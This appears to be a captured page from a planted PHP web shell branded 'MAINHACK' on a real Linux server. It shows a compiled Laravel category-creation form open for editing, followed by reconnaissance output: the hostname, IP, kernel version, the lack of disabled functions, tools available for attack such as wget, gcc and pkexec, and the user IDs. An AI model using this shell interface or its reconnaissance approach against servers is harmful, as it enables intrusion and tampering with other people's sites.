[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: fe29c79580a0a4f4bc65c536b1cb91c6.php
<?php $__env->startSection('title', translate('common.category_add')); ?> <?php $__env->startSection('content'); ?> <?php if (isset($component)) { $__componentOriginala766c2d312d6f7864fe218e2500d2bba = $component; } ?> <?php if (isset($attributes)) { $__attributesOriginala766c2d312d6f7864fe218e2500d2bba = $attributes; } ?> <?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.container','data' => ['title' => 'Add Category','buttonTitle' => 'Back','buttonRoute' => ''.e(route('categories.index')).'']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?> <?php $component->withName('container'); ?> <?php if ($component->shouldRender()): ?> <?php $__env->startComponent($component->resolveView(), $component->data()); ?> <?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?> <?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?> <?php endif; ?> <?php $component->withAttributes(['title' => 'Add Category','buttonTitle' => 'Back','buttonRoute' => ''.e(route('categories.index')).'']); ?> <form id="websiteSettingForm" method="post" action="<?php echo e(route('categories.store')); ?>" enctype="multipart/form-data"> <div class="row g-2 justify-content-center"> <div class="col-lg-6 row g-2"> <div class="col-sm-12"> <label class="form-label"><?php echo e(translate('common.Title')); ?></label> <input type="text" name="title" placeholder="Enter Title" class="form-control"> <?php $__errorArgs = ['title']; $__bag = $errors->getBag($__errorArgs[1] ?? 'default'); if ($__bag->has($__errorArgs[0])) : if (isset($message)) { $__messageOriginal = $message; } $message = $__bag->first($__errorArgs[0]); ?> <span class="text-danger"><?php echo e($message); ?></span> <?php unset($message); if (isset($__messageOriginal)) { $message = $__messageOriginal; } endif; unset($__errorArgs, $__bag); ?> </div> <div class="col-md-12"> <label for="image" class="form-label file-selectore"> <span class="label"><?php echo e(translate('common.Select category image (size: 140 × 140 px)')); ?></span> </label> <input type="file" class="d-block my-2" name="image" id="image"> </div> <div class="col-md-12"> <label for="banner" class="form-label file-selectore"> <span class="label"><?php echo e(translate('common.Select banner image (size: 1350 × 250 px)')); ?></span> </label> <input type="file" class="d-block my-2" name="banner" id="banner"> </div> <?php $sorting = \App\Models\ProductCategory::count(); ?> <div class="col-sm-6"> <label class="form-label"><?php echo e(translate('common.Sorting')); ?></label> <input value="<?php echo e($sorting + 1); ?>" type="number" name="sorting" placeholder="Enter sorting" class="form-control"> <?php $__errorArgs = ['sorting']; $__bag = $errors->getBag($__errorArgs[1] ?? 'default'); if ($__bag->has($__errorArgs[0])) : if (isset($message)) { $__messageOriginal = $message; } $message = $__bag->first($__errorArgs[0]); ?> <span class="text-danger"><?php echo e($message); ?></span> <?php unset($message); if (isset($__messageOriginal)) { $message = $__messageOriginal; } endif; unset($__errorArgs, $__bag); ?> </div> <div class="col-sm-6"> <label class="form-label d-block"><?php echo e(translate('common.Status')); ?></label> <div class="form-check form-check-inline"> <input class="form-check-input" checked type="radio" name="status" id="active" value="active"> <label class="form-check-label" for="active"><?php echo e(translate('common.Active')); ?></label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="status" id="inactive" value="inactive"> <label class="form-check-label" for="inactive"><?php echo e(translate('common.Inactive')); ?></label> </div> <?php $__errorArgs = ['status']; $__bag = $errors->getBag($__errorArgs[1] ?? 'default'); if ($__bag->has($__errorArgs[0])) : if (isset($message)) { $__messageOriginal = $message; } $message = $__bag->first($__errorArgs[0]); ?> <span class="text-danger"><?php echo e($message); ?></span> <?php unset($message); if (isset($__messageOriginal)) { $message = $__messageOriginal; } endif; unset($__errorArgs, $__bag); ?> </div> <div class="col-lg-12"> <div class="row"> <div class="col-lg-6 mb-3"> <div class="form-check"> <input type="hidden" name="show_in_home" value="0"> <input class="form-check-input" name="show_in_home" type="checkbox" value="1" id="home"> <label class="form-check-label" for="home"> <?php echo e(translate('common.Show in home')); ?> </label> </div> </div> <div class="col-lg-6 mb-3"> <div class="form-check"> <input type="hidden" name="show_in_menu" value="0"> <input class="form-check-input" name="show_in_menu" type="checkbox" value="1" id="top-menu"> <label class="form-check-label" for="top-menu"> <?php echo e(translate('common.Show in top menu')); ?> </label> </div> </div> <div class="col-lg-6 mb-3"> <div class="form-check"> <input type="hidden" name="top_category" value="0"> <input class="form-check-input" name="top_category" type="checkbox" value="1" id="top-category"> <label class="form-check-label" for="top-category"> <?php echo e(translate('common.Top Category')); ?> </label> </div> </div> </div> </div> <div class="col-sm-12"> <label class="form-label d-block"><?php echo e(translate('common.Type')); ?></label> <div class="form-check form-check-inline"> <input class="form-check-input" checked type="radio" name="type" id="inventory" value="inventory"> <label class="form-check-label" for="inventory"><?php echo e(translate('common.Inventory')); ?></label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="type" id="ecommerce" value="ecommerce"> <label class="form-check-label" for="ecommerce"><?php echo e(translate('common.Ecommerce')); ?></label> </div> <?php $__errorArgs = ['type']; $__bag = $errors->getBag($__errorArgs[1] ?? 'default'); if ($__bag->has($__errorArgs[0])) : if (isset($message)) { $__messageOriginal = $message; } $message = $__bag->first($__errorArgs[0]); ?> <span class="text-danger"><?php echo e($message); ?></span> <?php unset($message); if (isset($__messageOriginal)) { $message = $__messageOriginal; } endif; unset($__errorArgs, $__bag); ?> </div> <div class="gap-3 mt-2 text-end"> <button type="submit" class="btn btn-primary btn-border btn-success"> <span> <?php echo e(translate('common.submit')); ?></span> </button> </div> </div> </div> </form> <?php echo $__env->renderComponent(); ?> <?php endif; ?> <?php if (isset($__attributesOriginala766c2d312d6f7864fe218e2500d2bba)): ?> <?php $attributes = $__attributesOriginala766c2d312d6f7864fe218e2500d2bba; ?> <?php unset($__attributesOriginala766c2d312d6f7864fe218e2500d2bba); ?> <?php endif; ?> <?php if (isset($__componentOriginala766c2d312d6f7864fe218e2500d2bba)): ?> <?php $component = $__componentOriginala766c2d312d6f7864fe218e2500d2bba; ?> <?php unset($__componentOriginala766c2d312d6f7864fe218e2500d2bba); ?> <?php endif; ?> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.app', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/eliosofonline/pham.eliosof.com/resources/views/category/create.blade.php ENDPATH**/ ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.64 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002